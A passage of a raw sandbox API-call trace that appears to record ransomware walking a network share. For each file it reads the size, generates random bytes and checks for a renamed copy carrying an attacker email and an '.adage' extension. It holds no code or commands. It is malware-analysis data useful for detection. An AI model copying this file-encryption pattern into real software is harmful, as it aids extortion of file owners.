1 [0041.682] CloseHandle (hObject=0x14c) returned 1 [0041.682] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi")) returned 0x80 [0041.683] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.683] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.726] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.726] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.728] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=97231) returned 1 [0041.728] CloseHandle (hObject=0x14c) returned 1 [0041.728] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls")) returned 0x80 [0041.729] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.729] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.731] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.732] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.734] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=64559) returned 1 [0041.734] CloseHandle (hObject=0x14c) returned 1 [0041.734] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3")) returned 0x80 [0041.735] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.735] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.737] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.737] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.948] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=97255) returned 1 [0041.949] CloseHandle (hObject=0x14c) returned 1 [0041.949] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx")) returned 0x80 [0041.950] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.951] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.955] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.955] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.994] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=48368) returned 1 [0041.994] CloseHandle (hObject=0x14c) returned 1 [0041.994] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a")) returned 0x80 [0041.995] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.995] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qllIIB4PUCq.m4a" (normalized: "\\\\192.168.0.1\\documents\\qlliib4pucq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.119] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0042.119] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0042.664] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=73090) returned 1 [0042.665] CloseHandle (hObject=0x14c) returned 1 [0042.665] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt")) returned 0x80 [0042.665] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0042.665] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zl76M0AJ2xe.ppt" (normalized: "\\\\192.168.0.1\\documents\\zl76m0aj2xe.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.823] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0042.824] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0042.860] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=72701) returned 1 [0042.860] CloseHandle (hObject=0x14c) returned 1 [0042.860] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt")) returned 0x80 [0042.860] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0042.860] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.598] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0043.598] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0043.609] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=79461) returned 1 [0043.609] CloseHandle (hObject=0x14c) returned 1 [0043.609] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls")) returned 0x80 [0043.610] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0043.610] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.645] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0043.645] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0043.662] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=54529) returned 1 [0043.662] CloseHandle (hObject=0x14c) returned 1 [0043.662] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png")) returned 0x80 [0043.663] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0043.663] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.013] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.013] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.272] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=78597) returned 1 [0044.272] CloseHandle (hObject=0x14c) returned 1 [0044.272] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a")) returned 0x80 [0044.273] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.273] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\TqvR2yMTxIsft9J01h3.m4a" (normalized: "\\\\192.168.0.1\\documents\\tqvr2ymtxisft9j01h3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.473] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.473] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.491] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=74854) returned 1 [0044.491] CloseHandle (hObject=0x14c) returned 1 [0044.491] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc")) returned 0x80 [0044.493] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.493] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iVoyxyaCL.doc" (normalized: "\\\\192.168.0.1\\documents\\ivoyxyacl.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.558] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.559] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.590] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=58465) returned 1 [0044.590] CloseHandle (hObject=0x14c) returned 1 [0044.590] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4")) returned 0x80 [0044.591] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.591] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\T3PGQZ2VabtjY5.mp4" (normalized: "\\\\192.168.0.1\\documents\\t3pgqz2vabtjy5.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.604] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.604] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.611] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=71268) returned 1 [0044.611] CloseHandle (hObject=0x14c) returned 1 [0044.612] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt")) returned 0x80 [0044.612] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.612] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ppEQNd41NzmPglbQ.ppt" (normalized: "\\\\192.168.0.1\\documents\\ppeqnd41nzmpglbq.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.628] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.629] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.631] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=95575) returned 1 [0044.631] CloseHandle (hObject=0x14c) returned 1 [0044.632] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png")) returned 0x80 [0044.632] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.632] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NZjMmNKkZjRI.png" (normalized: "\\\\192.168.0.1\\documents\\nzjmmnkkzjri.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.657] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.657] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.663] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=41301) returned 1 [0044.663] CloseHandle (hObject=0x14c) returned 1 [0044.664] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a")) returned 0x80 [0044.664] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.664] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tdyTR6vSlTZHl.m4a" (normalized: "\\\\192.168.0.1\\documents\\tdytr6vsltzhl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.690] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.690] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.692] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=32948) returned 1 [0044.692] CloseHandle (hObject=0x14c) returned 1 [0044.693] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi")) returned 0x80 [0044.693] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.693] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\GCXxiNbD.avi" (normalized: "\\\\192.168.0.1\\documents\\gcxxinbd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.712] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.712] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.714] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=34993) returned 1 [0044.714] CloseHandle (hObject=0x14c) returned 1 [0044.714] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc")) returned 0x80 [0044.715] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.715] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7ZwyeX1xh.doc" (normalized: "\\\\192.168.0.1\\documents\\7zwyex1xh.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.743] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.743] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.758] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=72872) returned 1 [0044.758] CloseHandle (hObject=0x14c) returned 1 [0044.758] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls")) returned 0x80 [0044.758] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.758] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p2b1gzQI.xls" (normalized: "\\\\192.168.0.1\\documents\\p2b1gzqi.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.781] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0044.781] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSKEoPSkeN.jpg" (normalized: "\\\\192.168.0.1\\documents\\sskeopsken.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.826] 